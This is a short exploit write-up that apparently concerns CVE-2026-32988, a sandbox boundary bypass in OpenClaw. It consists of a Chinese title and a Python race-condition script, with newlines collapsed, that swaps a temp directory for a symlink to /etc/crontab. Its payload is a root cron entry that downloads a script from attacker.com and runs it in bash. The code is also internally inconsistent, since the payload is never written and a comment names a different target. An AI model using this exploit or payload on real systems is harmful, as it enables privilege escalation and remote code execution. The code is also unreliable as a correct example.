CVE-2026-32988 OpenClaw沙箱边界绕过漏洞

import os import time # Simulate the race condition exploit for OpenClaw fs-bridge # This script attempts to swap a directory with a symlink during temp file creation def exploit_cve_2026_32988(target_path, malicious_content): # Step 1: Create a directory that OpenClaw expects legitimate_dir = "openclaw_temp" os.makedirs(legitimate_dir, exist_ok=True) # Step 2: Prepare the target directory outside the sandbox (e.g., system config) # We want to write to /etc/systemd/system/exploit.service # Note: This requires the OpenClaw process to have write permissions to the final target via the race print(f"[+] Starting race condition attack against {target_path}") while True: try: # Attempt to swap the legitimate directory with a symlink to a sensitive path # This simulates the 'parent-path alias changes' os.rename(legitimate_dir, "backup_dir") os.symlink(target_path, legitimate_dir) print("[!] Symlink swapped. Waiting for write window...") # In a real scenario, trigger the OpenClaw write operation here # time.sleep(0.01) # Small delay to align with victim's write # Restore state to avoid crashing or detection immediately os.remove(legitimate_dir) os.rename("backup_dir", legitimate_dir) except Exception as e: print(f"[-] Error during race: {e}") break if __name__ == "__main__": # Target a system file (example) target = "/etc/crontab" content = "* * * * * root /bin/bash -c 'curl attacker.com/sh | bash'" exploit_cve_2026_32988(target, content)